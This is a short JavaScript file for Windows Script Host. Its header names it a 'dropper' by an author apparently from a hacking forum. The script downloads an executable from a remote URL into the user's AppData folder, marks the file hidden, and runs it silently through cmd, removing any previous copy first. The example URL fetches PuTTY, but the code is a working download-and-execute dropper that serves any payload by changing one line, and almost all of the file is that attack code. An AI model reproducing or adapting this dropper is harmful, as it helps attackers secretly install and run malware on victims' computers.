/*
 * WScript/Javascript dropper by gigajew@hf
 */
var ws = WScript;
this['main']();

/*
 * Download a remote resource to a local file
 */
function download(uri, filename) {
    var http = ws['createobject']('Microsoft.XMLHTTP');
    var stream = ws['createobject']('Adodb.Stream');

    try {
        http['Open']('GET', uri, false);
        http['Send']();

        stream['type'] = 1;
        stream['open']();
        stream['write'](http['responseBody']);
        stream['savetofile'](expand(filename), 2);

        return true;
    } catch(error) {
        //throw error;
        return false;
    }
}

/*
 * Expand environment variable
 */
function expand(filename) {
    var shell = ws['createobject']("WScript.Shell");
    return shell.ExpandEnvironmentStrings(filename);
}

/*
 * Execute file
 */
function run(filename) {
    cmd("cmd /Q /V:OFF /C call \"" + expand(filename) + "\" >nul");
}

/*
 * Hide a file
 */
function hide(filename) {
    cmd("attrib +H \"" + expand(filename) + "\"");
}

/*
 * Delete a hidden file
 */
function kill(filename) {
    cmd("attrib -H \"" + expand(filename) + "\"");
    cmd("del /Y \"" + expand(filename) + "\"");
}

/*
 * Execute a command
 */
function cmd(args) {
    var shell = ws['createobject']("WScript.Shell");
    shell['exec'](args);
}

/*
 * Entrypoint
 */
function main() {

    var uri = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
    var filename = "%appdata%\\putty.exe";

    try {
        kill(filename);
    } catch (error) {
        // this is ok
    }

    if(download(uri, filename)) {
        hide(filename);
        run(filename);
    }
}